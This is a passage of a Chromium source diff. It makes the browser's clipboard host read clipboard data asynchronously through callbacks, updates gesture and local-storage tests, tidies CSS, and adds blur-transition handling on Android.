+void ClipboardHostImpl::OnReadPngWithText(ui::ClipboardBuffer clipboard_buffer,
+                                          ReadPngCallback callback,
+                                          std::vector<uint8_t> data,
+                                          std::u16string text) {
   // Pass both image and associated text for content analysis.
   ClipboardPasteData clipboard_paste_data;
-  clipboard_paste_data.text =
-      ExtractText(clipboard_buffer, CreateDataEndpoint());
-  clipboard_paste_data.png = data;
+  clipboard_paste_data.text = std::move(text);
+  clipboard_paste_data.png = std::move(data);
 
   PasteIfPolicyAllowed(
       clipboard_buffer, ui::ClipboardFormatType::PngType(),
@@ -383,16 +413,24 @@
 
 void ClipboardHostImpl::ReadFiles(ui::ClipboardBuffer clipboard_buffer,
                                   ReadFilesCallback callback) {
-  blink::mojom::ClipboardFilesPtr result = blink::mojom::ClipboardFiles::New();
   if (!IsRendererPasteAllowed(clipboard_buffer, render_frame_host())) {
-    std::move(callback).Run(std::move(result));
+    std::move(callback).Run(blink::mojom::ClipboardFiles::New());
     return;
   }
 
   ui::Clipboard* clipboard = ui::Clipboard::GetForCurrentThread();
-  std::vector<ui::FileInfo> filenames;
   auto data_dst = CreateDataEndpoint();
-  clipboard->ReadFilenames(clipboard_buffer, data_dst.get(), &filenames);
+  clipboard->ReadFilenames(
+      clipboard_buffer, data_dst.get(),
+      base::BindOnce(&ClipboardHostImpl::OnReadFiles,
+                     weak_ptr_factory_.GetWeakPtr(), clipboard_buffer,
+                     std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadFiles(ui::ClipboardBuffer clipboard_buffer,
+                                    ReadFilesCallback callback,
+                                    std::vector<ui::FileInfo> filenames) {
+  blink::mojom::ClipboardFilesPtr result = blink::mojom::ClipboardFiles::New();
 
   // Convert the vector of ui::FileInfo into a vector of base::FilePath so that
   // it can be passed to PerformPasteIfContentAllowed() for analysis.  When
@@ -466,11 +504,21 @@
     return;
   }
 
-  ClipboardPasteData clipboard_paste_data;
   auto data_dst = CreateDataEndpoint();
   ui::Clipboard::GetForCurrentThread()->ReadDataTransferCustomData(
       clipboard_buffer, type, data_dst.get(),
-      &clipboard_paste_data.custom_data[type]);
+      base::BindOnce(&ClipboardHostImpl::OnReadDataTransferCustomData,
+                     weak_ptr_factory_.GetWeakPtr(), clipboard_buffer, type,
+                     std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadDataTransferCustomData(
+    ui::ClipboardBuffer clipboard_buffer,
+    const std::u16string& type,
+    ReadDataTransferCustomDataCallback callback,
+    std::u16string data) {
+  ClipboardPasteData clipboard_paste_data;
+  clipboard_paste_data.custom_data[type] = std::move(data);
 
   PasteIfPolicyAllowed(
       clipboard_buffer, ui::ClipboardFormatType::DataTransferCustomType(),
@@ -642,17 +690,24 @@
       ui::Clipboard::GetForCurrentThread()->ExtractCustomPlatformNames(
           ui::ClipboardBuffer::kCopyPaste, data_endpoint.get());
   std::string web_custom_format_string;
-  if (custom_format_names.find(format_name) != custom_format_names.end())
+  if (custom_format_names.find(format_name) != custom_format_names.end()) {
     web_custom_format_string = custom_format_names[format_name];
+  }
   if (web_custom_format_string.empty()) {
     std::move(callback).Run(mojo_base::BigBuffer());
     return;
   }
 
-  std::string result;
   ui::Clipboard::GetForCurrentThread()->ReadData(
       ui::ClipboardFormatType::CustomPlatformType(web_custom_format_string),
-      data_endpoint.get(), &result);
+      data_endpoint.get(),
+      base::BindOnce(&ClipboardHostImpl::OnReadUnsanitizedCustomFormat,
+                     weak_ptr_factory_.GetWeakPtr(), std::move(callback)));
+}
+
+void ClipboardHostImpl::OnReadUnsanitizedCustomFormat(
+    ReadUnsanitizedCustomFormatCallback callback,
+    std::string result) {
   if (result.size() >= blink::mojom::ClipboardHost::kMaxDataSize) {
     std::move(callback).Run(mojo_base::BigBuffer());
     return;
@@ -828,25 +883,61 @@
     return;
   }
 
-  // Static list of allowed standard MIME types
-  // https://w3c.github.io/clipboard-apis/#mandatory-data-types-x
-  auto types = base::STLSetIntersection<std::vector<std::u16string>>(
-      base::flat_set<std::u16string>{
-          ui::kMimeTypePng16,
-          ui::kMimeTypeHtml16,
-          ui::kMimeTypePlainText16,
-      },
-      base::MakeFlatSet<std::u16string>(
-          ReadAvailableTypesImpl(ui::ClipboardBuffer::kCopyPaste)));
+  auto data_endpoint = CreateDataEndpoint();
+  ui::Clipboard::GetForCurrentThread()->ReadAvailableTypes(
+      ui::ClipboardBuffer::kCopyPaste, data_endpoint.get(),
+      base::BindOnce(&ClipboardHostImpl::OnReadAvailableTypesForUpdate,
+                     weak_ptr_factory_.GetWeakPtr(), change_id));
+}
 
+void ClipboardHostImpl::OnReadAvailableTypesForUpdate(
+    absl::uint128 change_id,
+    std::vector<std::u16string> types) {
   if (change_id != GetSequenceNumberImpl(ui::ClipboardBuffer::kCopyPaste)) {
     // Clipboard changed meanwhile. There will be another notification anyway,
     // no need to retry here.
     return;
   }
 
+  // Static list of allowed standard MIME types
+  // https://w3c.github.io/clipboard-apis/#mandatory-data-types-x
+  auto filtered_types = base::STLSetIntersection<std::vector<std::u16string>>(
+      base::flat_set<std::u16string>{
+          ui::kMimeTypePng16,
+          ui::kMimeTypeHtml16,
+          ui::kMimeTypePlainText16,
+      },
+      base::MakeFlatSet<std::u16string>(std::move(types)));
+
   clipboard_listener_->OnClipboardDataChanged(
-      types, last_change_id_.emplace(change_id));
+      filtered_types, last_change_id_.emplace(change_id));
+}
+
+void ClipboardHostImpl::ExtractText(
+    ui::ClipboardBuffer clipboard_buffer,
+    std::unique_ptr<ui::DataTransferEndpoint> data_dst,
+    base::OnceCallback<void(std::u16string)> callback) {
+  ui::Clipboard* clipboard = ui::Clipboard::GetForCurrentThread();
+  if (clipboard->IsFormatAvailable(ui::ClipboardFormatType::PlainTextType(),
+                                   clipboard_buffer, data_dst.get())) {
+    clipboard->ReadText(clipboard_buffer, data_dst.get(), std::move(callback));
+    return;
+  }
+#if BUILDFLAG(IS_WIN)
+  if (clipboard->IsFormatAvailable(ui::ClipboardFormatType::PlainTextAType(),
+                                   clipboard_buffer, data_dst.get())) {
+    clipboard->ReadAsciiText(
+        clipboard_buffer, data_dst.get(),
+        base::BindOnce(
+            [](base::OnceCallback<void(std::u16string)> callback,
+               std::string ascii) {
+              std::move(callback).Run(base::ASCIIToUTF16(ascii));
+            },
+            std::move(callback)));
+    return;
+  }
+#endif
+  std::move(callback).Run(std::u16string());
 }
 
 void ClipboardHostImpl::RegisterClipboardListener(
diff --git a/content/browser/renderer_host/clipboard_host_impl.h b/content/browser/renderer_host/clipboard_host_impl.h
index aa5a5e8..19380b6 100644
--- a/content/browser/renderer_host/clipboard_host_impl.h
+++ b/content/browser/renderer_host/clipboard_host_impl.h
@@ -148,9 +148,6 @@
       GetPlatformPermissionStateCallback callback) override;
 #endif
 
-  std::vector<std::u16string> ReadAvailableTypesImpl(
-      ui::ClipboardBuffer clipboard_buffer);
-
   absl::uint128 GetSequenceNumberImpl(ui::ClipboardBuffer clipboard_buffer);
 
   // Checks if the renderer allows pasting.  This check is skipped if called
@@ -188,7 +185,51 @@
 
   void OnReadPng(ui::ClipboardBuffer clipboard_buffer,
                  ReadPngCallback callback,
-                 const std::vector<uint8_t>& data);
+                 std::vector<uint8_t> data);
+
+  void OnReadPngWithText(ui::ClipboardBuffer clipboard_buffer,
+                         ReadPngCallback callback,
+                         std::vector<uint8_t> data,
+                         std::u16string text);
+
+  void OnReadText(ui::ClipboardBuffer clipboard_buffer,
+                  ReadTextCallback callback,
+                  std::u16string text);
+
+  void OnReadHtml(ui::ClipboardBuffer clipboard_buffer,
+                  ReadHtmlCallback callback,
+                  std::u16string markup,
+                  GURL src_url,
+                  uint32_t fragment_start,
+                  uint32_t fragment_end);
+
+  void OnReadSvg(ui::ClipboardBuffer clipboard_buffer,
+                 ReadSvgCallback callback,
+                 std::u16string svg);
+
+  void OnReadRtf(ui::ClipboardBuffer clipboard_buffer,
+                 ReadRtfCallback callback,
+                 std::string rtf);
+
+  void OnReadFiles(ui::ClipboardBuffer clipboard_buffer,
+                   ReadFilesCallback callback,
+                   std::vector<ui::FileInfo> filenames);
+
+  void OnReadDataTransferCustomData(ui::ClipboardBuffer clipboard_buffer,
+                                    const std::u16string& type,
+                                    ReadDataTransferCustomDataCallback callback,
+                                    std::u16string data);
+
+  void OnReadUnsanitizedCustomFormat(
+      ReadUnsanitizedCustomFormatCallback callback,
+      std::string data);
+
+  void OnReadAvailableTypesForUpdate(absl::uint128 change_id,
+                                     std::vector<std::u16string> types);
+
+  void ExtractText(ui::ClipboardBuffer clipboard_buffer,
+                   std::unique_ptr<ui::DataTransferEndpoint> data_dst,
+                   base::OnceCallback<void(std::u16string)> callback);
 
   // Resets `clipboard_writer_` to write its data to the clipboard, and
   // reinitialize it in preparation for the next write.
diff --git a/content/browser/renderer_host/input/touch_action_browsertest.cc b/content/browser/renderer_host/input/touch_action_browsertest.cc
index d19a181c..58dfd81 100644
--- a/content/browser/renderer_host/input/touch_action_browsertest.cc
+++ b/content/browser/renderer_host/input/touch_action_browsertest.cc
@@ -20,6 +20,7 @@
 #include "base/test/bind.h"
 #include "base/test/gmock_expected_support.h"
 #include "base/test/scoped_feature_list.h"
+#include "base/test/test_mock_time_task_runner.h"
 #include "build/build_config.h"
 #include "content/browser/renderer_host/render_widget_host_impl.h"
 #include "content/browser/renderer_host/render_widget_host_view_base.h"
@@ -385,6 +386,36 @@
     run_loop_.reset();
   }
 
+  void DoTouchCancel() {
+    DCHECK(URLLoaded());
+    const std::string pointer_actions_json = R"HTML(
+        [{"source": "touch", "id": 0,
+              "actions": [
+              { "name": "pointerDown", "x": 50, "y": 50 },
+              { "name": "pointerCancel"}]}]
+        )HTML";
+
+    ASSERT_OK_AND_ASSIGN(
+        auto parsed_json,
+        base::JSONReader::ReadAndReturnValueWithError(
+            pointer_actions_json, base::JSON_PARSE_CHROMIUM_EXTENSIONS));
+    ActionsParser actions_parser(std::move(parsed_json));
+
+    ASSERT_TRUE(actions_parser.Parse());
+
+    run_loop_ = std::make_unique<base::RunLoop>();
+
+    GetWidgetHost()->QueueSyntheticGesture(
+        std::make_unique<SyntheticPointerAction>(
+            actions_parser.pointer_action_params()),
+        base::BindOnce(&TouchActionBrowserTest::OnSyntheticGestureCompleted,
+                       base::Unretained(this)));
+
+    // Runs until we get the OnSyntheticGestureCompleted callback
+    run_loop_->Run();
+    run_loop_.reset();
+  }
+
   // Generate touch events for a double tap and drag zoom gesture at
   // coordinates (50, 50).
   void DoDoubleTapDragZoom() {
@@ -559,12 +590,26 @@
     </script>)HTML";
   LoadURL(kDoubleTapZoomDataURL);
 
+  // A touch cancel to initialize gesture provider in Aura.
+  DoTouchCancel();
+
+  ui::GestureDetector* gesture_detector =
+      GetWidgetHost()
+          ->GetView()
+          ->GetFilteredGestureProviderForTesting()
+          ->GetGestureDetectorForTesting();
+  auto task_runner = base::MakeRefCounted<base::TestMockTimeTaskRunner>();
+  gesture_detector->SetGestureTimeoutHandlerTaskRunnerForTesting(task_runner);
+
+  GestureTapEventObserver tap_observer;
+  GetWidgetHost()->AddInputEventObserver(&tap_observer);
+
+  run_loop_ = std::make_unique<base::RunLoop>();
+
   SyntheticTapGestureParams params;
   params.gesture_source_type = content::mojom::GestureSourceType::kTouchInput;
   params.position = gfx::PointF(50, 50);
   params.duration_ms = 100;
-
-  run_loop_ = std::make_unique<base::RunLoop>();
   GetWidgetHost()->QueueSyntheticGesture(
       std::make_unique<SyntheticTapGesture>(params),
       base::BindOnce(&TouchActionBrowserTest::OnSyntheticGestureCompleted,
@@ -572,11 +617,18 @@
 
   run_loop_->Run();
 
-  RenderWidgetHostViewBase* rwhv = static_cast<RenderWidgetHostViewBase*>(
-      shell()->web_contents()->GetRenderWidgetHostView());
-  // After the tap gesture has been completed, the timer should be gone.
-  EXPECT_FALSE(rwhv->GetFilteredGestureProviderForTesting()
-                   ->HasPendingTapTimeoutForTesting());
+  // After the tap gesture has been completed, the tap event should have been
+  // seen exactly once.
+  EXPECT_EQ(1, tap_observer.num_gesture_tap_seen());
+
+  // Advance the task runner clock by timeout delay, to make sure the tap
+  // timeout task runs.
+  task_runner->FastForwardBy(gesture_detector->GetDoubleTapTimeoutForTesting());
+
+  // No extra tap is seen by input observers.
+  EXPECT_EQ(1, tap_observer.num_gesture_tap_seen());
+
+  GetWidgetHost()->RemoveInputEventObserver(&tap_observer);
 }
 
 // TODO(crbug.com/40236573): Fix Mac failures.
diff --git a/content/browser/renderer_host/render_process_host_impl.cc b/content/browser/renderer_host/render_process_host_impl.cc
index 02369c5..8c6e66e 100644
--- a/content/browser/renderer_host/render_process_host_impl.cc
+++ b/content/browser/renderer_host/render_process_host_impl.cc
@@ -3769,6 +3769,7 @@
       blink::switches::kMaxUntiledLayerWidth,
       blink::switches::kMaxUntiledLayerHeight,
       blink::switches::kNetworkQuietTimeout,
+      blink::switches::kShowContentfulPaintRects,
       blink::switches::kShowLayoutShiftRegions,
       blink::switches::kShowPaintRects,
       blink::switches::kTouchTextSelectionStrategy,
diff --git a/content/browser/resources/process/process_internals.css b/content/browser/resources/process/process_internals.css
index 76ac719..d503b112 100644
--- a/content/browser/resources/process/process_internals.css
+++ b/content/browser/resources/process/process_internals.css
@@ -69,6 +69,7 @@
   min-width: 32em;
   padding: 0 20px 65px 0;
 }
+
 #content > div:not(.selected) {
   display: none;
 }
diff --git a/content/browser/resources/quota/quota_internals.css b/content/browser/resources/quota/quota_internals.css
index 59aaee6..dd42c90e 100644
--- a/content/browser/resources/quota/quota_internals.css
+++ b/content/browser/resources/quota/quota_internals.css
@@ -12,48 +12,61 @@
   text-align: center;
   text-decoration: none;
 }
+
 label {
   font-size: 12px;
 }
+
 table {
   border: 1px solid black;
   border-collapse: collapse;
 }
+
 tbody {
   background-color: white;
 }
+
 td {
   border: 1px solid black;
   padding: 5px;
 }
+
 th {
   background-color: powderblue;
   border: 1px solid black;
   padding: 5px;
 }
+
 .available-space {
   text-align: center;
 }
+
 .disk-availability-table {
   width: 30%;
 }
+
 .eviction-statistics-table {
   width: 60%;
 }
+
 .eviction-statistics-table th {
   width: 15%;
 }
+
 .eviction-tr {
   text-align: center;
 }
+
 .test-storage-pressure-header {
   border-top: 1px solid grey;
   margin-top: 10px;
   padding-top: 5px;
 }
+
 .total-space {
   text-align: center;
 }
+
 #simulate-storage-pressure-activation-message {
   color: red;
 }
diff --git a/content/browser/resources/traces_internals/trace_recorder.css b/content/browser/resources/traces_internals/trace_recorder.css
index bf12876..1dd6511 100644
--- a/content/browser/resources/traces_internals/trace_recorder.css
+++ b/content/browser/resources/traces_internals/trace_recorder.css
@@ -114,6 +114,7 @@
   gap: 2px 16px;
   align-items: start;
 }
+
 .category-grid {
   /* Define column templates.
      - 80px for the checkbox
@@ -123,9 +124,11 @@
   */
   grid-template-columns: 40px 1fr 1fr 4fr;
 }
+
 .tags-grid {
   grid-template-columns: 40px 40px 1fr;
 }
+
 .etw-grid {
   grid-template-columns: 40px 1fr 4fr;
 }
diff --git a/content/browser/resources/traces_internals/trace_report.css b/content/browser/resources/traces_internals/trace_report.css
index d4f86fc..89ac5d4 100644
--- a/content/browser/resources/traces_internals/trace_report.css
+++ b/content/browser/resources/traces_internals/trace_report.css
@@ -108,7 +108,7 @@
   height: 40px;
   width: 40px;
   border-radius: 100%;
-  margin-inline-start: 0px;
+  margin-inline-start: 0;
   margin-inline-end: 8px;
 }
 
diff --git a/content/browser/site_per_process_browsertest.cc b/content/browser/site_per_process_browsertest.cc
index 5b528450c9..08d76167 100644
--- a/content/browser/site_per_process_browsertest.cc
+++ b/content/browser/site_per_process_browsertest.cc
@@ -42,9 +42,11 @@
 #include "base/task/sequenced_task_runner.h"
 #include "base/task/single_thread_task_runner.h"
 #include "base/test/bind.h"
+#include "base/test/gmock_expected_support.h"
 #include "base/test/metrics/histogram_tester.h"
 #include "base/test/run_until.h"
 #include "base/test/test_future.h"
+#include "base/test/test_mock_time_task_runner.h"
 #include "base/test/test_timeouts.h"
 #include "base/test/test_trace_processor.h"
 #include "base/time/time.h"
@@ -14070,11 +14072,56 @@
       std::ceil((iframe_bounds.y() - root_view->GetViewBounds().y() + 10) *
                 scale_factor));
 
+  {
+    // A touch cancel to initialize gesture provider in Aura.
+    const std::string pointer_actions_json = R"HTML(
+        [{"source": "touch", "id": 0,
+              "actions": [
+              { "name": "pointerDown", "x": 50, "y": 50 },
+              { "name": "pointerCancel"}]}]
+        )HTML";
+
+    ASSERT_OK_AND_ASSIGN(
+        auto parsed_json,
+        base::JSONReader::ReadAndReturnValueWithError(
+            pointer_actions_json, base::JSON_PARSE_CHROMIUM_EXTENSIONS));
+    ActionsParser actions_parser(std::move(parsed_json));
+
+    ASSERT_TRUE(actions_parser.Parse());
+
+    auto run_loop = std::make_unique<base::RunLoop>();
+
+    root_rwh->QueueSyntheticGesture(
+        std::make_unique<SyntheticPointerAction>(
+            actions_parser.pointer_action_params()),
+        base::BindOnce(
+            [](base::RunLoop* run_loop, SyntheticGesture::Result result) {
+              EXPECT_EQ(SyntheticGesture::GESTURE_FINISHED, result);
+              run_loop->Quit();
+            },
+            run_loop.get()));
+
+    // Runs until we get the OnSyntheticGestureCompleted callback
+    run_loop->Run();
+  }
+
   SyntheticTapGestureParams params;
   params.gesture_source_type = content::mojom::GestureSourceType::kTouchInput;
   params.position = tap_pos;
   params.duration_ms = 100;
 
+  ui::GestureDetector* gesture_detector =
+      root_rwh->GetView()
+          ->GetFilteredGestureProviderForTesting()
+          ->GetGestureDetectorForTesting();
+  auto task_runner = base::MakeRefCounted<base::TestMockTimeTaskRunner>();
+  gesture_detector->SetGestureTimeoutHandlerTaskRunnerForTesting(task_runner);
+
+  GestureTapEventObserver tap_observer;
+  iframe_node->current_frame_host()
+      ->GetRenderWidgetHost()
+      ->AddInputEventObserver(&tap_observer);
+
   auto run_loop = std::make_unique<base::RunLoop>();
   root_rwh->QueueSyntheticGesture(
       std::make_unique<SyntheticTapGesture>(params),
@@ -14083,10 +14130,17 @@
                      run_loop.get()));
 
   run_loop->Run();
-  // After the tap gesture has been completed, the timer should be gone.
-  EXPECT_FALSE(root_rwh->GetView()
-                   ->GetFilteredGestureProviderForTesting()
-                   ->HasPendingTapTimeoutForTesting());
+
+  EXPECT_EQ(1, tap_observer.num_gesture_tap_seen());
+
+  // Advance the task runner clock by timeout delay, to make sure the tap
+  // timeout task runs.
+  task_runner->FastForwardBy(gesture_detector->GetDoubleTapTimeoutForTesting());
+
+  // No extra tap is seen by input observers.
+  EXPECT_EQ(1, tap_observer.num_gesture_tap_seen());
+
+  root_rwh->RemoveInputEventObserver(&tap_observer);
 }
 
 // Tests that verify the feature disabling process reuse.
diff --git a/content/browser/storage_partition_impl_unittest.cc b/content/browser/storage_partition_impl_unittest.cc
index 4cb41c0..50d7542 100644
--- a/content/browser/storage_partition_impl_unittest.cc
+++ b/content/browser/storage_partition_impl_unittest.cc
@@ -47,6 +47,7 @@
 #include "components/services/storage/dom_storage/async_dom_storage_database.h"
 #include "components/services/storage/dom_storage/dom_storage_constants.h"
 #include "components/services/storage/dom_storage/dom_storage_database.h"
+#include "components/services/storage/dom_storage/features.h"
 #include "components/services/storage/dom_storage/test_support/dom_storage_database_testing.h"
 #include "components/services/storage/public/cpp/constants.h"
 #include "components/services/storage/public/mojom/local_storage_control.mojom.h"
@@ -800,10 +801,18 @@
 
 class StoragePartitionImplTest : public testing::Test {
  public:
-  StoragePartitionImplTest() : browser_context_(new TestBrowserContext()) {
-    feature_list_.InitWithFeatures({network::features::kInterestGroupStorage,
-                                    network::features::kSharedStorageAPI},
-                                   {});
+  explicit StoragePartitionImplTest(
+      bool is_local_storage_sqlite_enabled = false) {
+    std::vector<base::test::FeatureRef> enabled_features{
+        network::features::kInterestGroupStorage,
+        network::features::kSharedStorageAPI};
+    std::vector<base::test::FeatureRef> disabled_features;
+    if (is_local_storage_sqlite_enabled) {
+      enabled_features.push_back(storage::kDomStorageSqlite);
+    } else {
+      disabled_features.push_back(storage::kDomStorageSqlite);
+    }
+    feature_list_.InitWithFeatures(enabled_features, disabled_features);
   }
 
   StoragePartitionImplTest(const StoragePartitionImplTest&) = delete;
@@ -812,9 +821,9 @@
   storage::MockQuotaManager* GetMockManager() {
     if (!quota_manager_.get()) {
       quota_manager_ = base::MakeRefCounted<storage::MockQuotaManager>(
-          browser_context_->IsOffTheRecord(), browser_context_->GetPath(),
+          browser_context_.IsOffTheRecord(), browser_context_.GetPath(),
           GetIOThreadTaskRunner({}).get(),
-          browser_context_->GetSpecialStoragePolicy());
+          browser_context_.GetSpecialStoragePolicy());
       mojo::PendingRemote<storage::mojom::QuotaClient> quota_client;
       mojo::MakeSelfOwnedReceiver(
           std::make_unique<storage::MockQuotaClient>(
@@ -826,7 +835,7 @@
     return quota_manager_.get();
   }
 
-  TestBrowserContext* browser_context() { return browser_context_.get(); }
+  TestBrowserContext* browser_context() { return &browser_context_; }
 
   base::test::TaskEnvironment* task_environment() { return &task_environment_; }
 
@@ -835,14 +844,32 @@
   base::test::ScopedFeatureList feature_list_;
   content::BrowserTaskEnvironment task_environment_{
       base::test::TaskEnvironment::TimeSource::MOCK_TIME};
-  std::unique_ptr<TestBrowserContext> browser_context_;
+  TestBrowserContext browser_context_;
   scoped_refptr<storage::MockQuotaManager> quota_manager_;
 };
 
+// Runs each local storage test twice: once with SQLite and once with LevelDB.
+class LocalStoragePartitionImplTest
+    : public testing::WithParamInterface</*is_sqlite_enabled=*/bool>,
+      public StoragePartitionImplTest {
+ public:
+  LocalStoragePartitionImplTest()
+      : StoragePartitionImplTest(
+            /*is_local_storage_sqlite_enabled=*/GetParam()) {}
+  ~LocalStoragePartitionImplTest() override = default;
+};
+
+INSTANTIATE_TEST_SUITE_P(
+    /*no prefix*/,
+    LocalStoragePartitionImplTest,
+    testing::Bool(),
+    /*name_generator=*/
+    [](const testing::TestParamInfo<LocalStoragePartitionImplTest::ParamType>&
+           info) { return info.param ? "SQLite" : "LevelDB"; });
+
 class StoragePartitionShaderClearTest : public testing::Test {
  public:
-  StoragePartitionShaderClearTest()
-      : browser_context_(new TestBrowserContext()) {
+  StoragePartitionShaderClearTest() {
     InitGpuDiskCacheFactorySingleton();
 
     gpu::GpuDiskCacheType type = gpu::GpuDiskCacheType::kGlShaders;
@@ -880,11 +907,11 @@
     return future.Get();
   }
 
-  TestBrowserContext* browser_context() { return browser_context_.get(); }
+  TestBrowserContext* browser_context() { return &browser_context_; }
 
  private:
   content::BrowserTaskEnvironment task_environment_;
-  std::unique_ptr<TestBrowserContext> browser_context_;
+  TestBrowserContext browser_context_;
 
   scoped_refptr<gpu::GpuDiskCache> cache_;
 };
@@ -1355,7 +1382,7 @@
       kFrameOrigin, kInterestGroupOrigin, kNetworkIsolationKey));
 }
 
-TEST_F(StoragePartitionImplTest, RemoveUnprotectedLocalStorageForever) {
+TEST_P(LocalStoragePartitionImplTest, RemoveUnprotectedLocalStorageForever) {
   const url::Origin kOrigin1 = url::Origin::Create(GURL("http://host1:1/"));
   const url::Origin kOrigin2 = url::Origin::Create(GURL("http://host2:1/"));
   const url::Origin kOrigin3 = url::Origin::Create(GURL("http://host3:1/"));
@@ -1381,7 +1408,7 @@
   EXPECT_FALSE(tester.DOMStorageExistsForOrigin(kOrigin3));
 }
 
-TEST_F(StoragePartitionImplTest, RemoveProtectedLocalStorageForever) {
+TEST_P(LocalStoragePartitionImplTest, RemoveProtectedLocalStorageForever) {
   const url::Origin kOrigin1 = url::Origin::Create(GURL("http://host1:1/"));
   const url::Origin kOrigin2 = url::Origin::Create(GURL("http://host2:1/"));
   const url::Origin kOrigin3 = url::Origin::Create(GURL("http://host3:1/"));
@@ -1409,7 +1436,7 @@
   EXPECT_FALSE(tester.DOMStorageExistsForOrigin(kOrigin3));
 }
 
-TEST_F(StoragePartitionImplTest, RemoveLocalStorageForLastWeek) {
+TEST_P(LocalStoragePartitionImplTest, RemoveLocalStorageForLastWeek) {
   const url::Origin kOrigin1 = url::Origin::Create(GURL("http://host1:1/"));
   const url::Origin kOrigin2 = url::Origin::Create(GURL("http://host2:1/"));
   const url::Origin kOrigin3 = url::Origin::Create(GURL("http://host3:1/"));
@@ -1432,7 +1459,7 @@
   EXPECT_TRUE(tester.DOMStorageExistsForOrigin(kOrigin3));
 }
 
-TEST_F(StoragePartitionImplTest, RemoveLocalStorageForOrigins) {
+TEST_P(LocalStoragePartitionImplTest, RemoveLocalStorageForOrigins) {
   const url::Origin kOrigin1 = url::Origin::Create(GURL("http://host1:1/"));
   const url::Origin kOrigin2 = url::Origin::Create(GURL("http://host2:1/"));
   const url::Origin kOrigin3 = url::Origin::Create(GURL("http://host3:1/"));
@@ -1458,7 +1485,7 @@
   EXPECT_TRUE(tester.DOMStorageExistsForOrigin(kOrigin3));
 }
 
-TEST_F(StoragePartitionImplTest, RemoveLocalStorageForOneOrigin) {
+TEST_P(LocalStoragePartitionImplTest, RemoveLocalStorageForOneOrigin) {
   const GURL kUrl1 = GURL("http://host1:1/");
   const url::Origin kOrigin1 = url::Origin::Create(kUrl1);
   const url::Origin kOrigin2 = url::Origin::Create(GURL("http://host2:1/"));
diff --git a/content/browser/tracing/background_tracing_manager_browsertest.cc b/content/browser/tracing/background_tracing_manager_browsertest.cc
index a8d7d51..3c18e4a 100644
--- a/content/browser/tracing/background_tracing_manager_browsertest.cc
+++ b/content/browser/tracing/background_tracing_manager_browsertest.cc
@@ -672,8 +672,14 @@
 // now started asynchronously.
 // TODO(khokhlov): Re-enable when background tracing is switched to synchronous
 // start.
+// TODO(https://crbug.com/480203711): Flaky on Linux TSan.
+#if BUILDFLAG(IS_LINUX) && defined(THREAD_SANITIZER)
+#define MAYBE_EarlyTraceEventsInTrace DISABLED_EarlyTraceEventsInTrace
+#else
+#define MAYBE_EarlyTraceEventsInTrace EarlyTraceEventsInTrace
+#endif
 IN_PROC_BROWSER_TEST_F(BackgroundTracingManagerBrowserTest,
-                       EarlyTraceEventsInTrace) {
+                       MAYBE_EarlyTraceEventsInTrace) {
   TestBackgroundTracingHelper background_tracing_helper;
 
   EXPECT_TRUE(BackgroundTracingManager::GetInstance().InitializeFieldScenarios(
diff --git a/content/browser/web_contents/web_contents_impl.h b/content/browser/web_contents/web_contents_impl.h
index 431f13cb..7fed025 100644
--- a/content/browser/web_contents/web_contents_impl.h
+++ b/content/browser/web_contents/web_contents_impl.h
@@ -998,7 +998,7 @@
   bool ShouldIgnoreUnresponsiveRenderer() override;
   bool IsGuest() override;
   std::optional<SkColor> GetBaseBackgroundColor() override;
-  std::unique_ptr<PrefetchHandle> StartPrefetch(
+  [[nodiscard]] std::unique_ptr<PrefetchHandle> StartPrefetch(
       const GURL& prefetch_url,
       bool use_prefetch_proxy,
       const std::string& embedder_histogram_suffix,
diff --git a/content/browser/web_contents/web_contents_view_android.cc b/content/browser/web_contents/web_contents_view_android.cc
index fc7f7a3..5eb6d72 100644
--- a/content/browser/web_contents/web_contents_view_android.cc
+++ b/content/browser/web_contents/web_contents_view_android.cc
@@ -24,6 +24,7 @@
 #include "content/browser/android/select_popup.h"
 #include "content/browser/android/selection/selection_popup_controller.h"
 #include "content/browser/navigation_transitions/back_forward_transition_animation_manager_android.h"
+#include "content/browser/navigation_transitions/blur_transition_animation_manager.h"
 #include "content/browser/renderer_host/render_view_host_factory.h"
 #include "content/browser/renderer_host/render_view_host_impl.h"
 #include "content/browser/renderer_host/render_widget_host_view_android.h"
@@ -136,7 +137,8 @@
 WebContentsViewAndroid::WebContentsViewAndroid(
     WebContentsImpl* web_contents,
     std::unique_ptr<WebContentsViewDelegate> delegate)
-    : web_contents_(web_contents),
+    : WebContentsObserver(web_contents),
+      web_contents_(web_contents),
       delegate_(std::move(delegate)),
       view_(ui::ViewAndroid::LayoutType::kNormal),
       synchronous_compositor_client_(nullptr) {
@@ -378,6 +380,24 @@
   back_forward_animation_manager_.reset();
 }
 
+void WebContentsViewAndroid::ReadyToCommitNavigation(
+    NavigationHandle* navigation_handle) {
+  // Do nothing if the BlurTransitionAnimationManager is already instantiated.
+  if (BlurTransitionAnimationManager::FromWebContents(web_contents_)) {
+    return;
+  }
+
+  // Lazily instantiate the BlurTransitionAnimationManager.
+  if (ShouldShowBlurTransitionAnimation(navigation_handle)) {
+    BlurTransitionAnimationManager::CreateForWebContents(web_contents_);
+    // In this lazy instantiation flow, the ReadyToCommitNavigation notification
+    // was not received by the animation manager. We manually invoke to
+    // ensure we don't miss the animation.
+    BlurTransitionAnimationManager::FromWebContents(web_contents_)
+        ->ReadyToCommitNavigation(navigation_handle);
+  }
+}
+
 void WebContentsViewAndroid::ShowContextMenu(RenderFrameHost& render_frame_host,
                                              const ContextMenuParams& params) {
   if (is_active_drag_ && drag_exceeded_movement_threshold_) {
@@ -975,4 +995,12 @@
   }
 }
 
+bool WebContentsViewAndroid::ShouldShowBlurTransitionAnimation(
+    NavigationHandle* navigation_handle) {
+  if (delegate_) {
+    return delegate_->ShouldShowBlurTransitionAnimation(navigation_handle);
+  }
+  return false;
+}
+
 }  // namespace content
diff --git a/content/browser/web_contents/web_contents_view_android.h b/content/browser/web_contents/web_contents_view_android.h
index 9eb7c07..306a7aca 100644
--- a/content/browser/web_contents/web_contents_view_android.h
+++ b/content/browser/web_contents/web_contents_view_android.h
@@ -14,6 +14,7 @@
 #include "content/browser/web_contents/web_contents_view.h"
 #include "content/browser/web_contents/web_contents_view_drag_security_info.h"
 #include "content/common/content_export.h"
+#include "content/public/browser/web_contents_observer.h"
 #include "content/public/browser/web_contents_view_delegate.h"
 #include "content/public/common/drop_data.h"
 #include "mojo/public/cpp/bindings/pending_remote.h"
@@ -24,6 +25,10 @@
 #include "ui/events/android/event_handler_android.h"
 #include "ui/gfx/geometry/rect_f.h"
 
+namespace cc::slim {
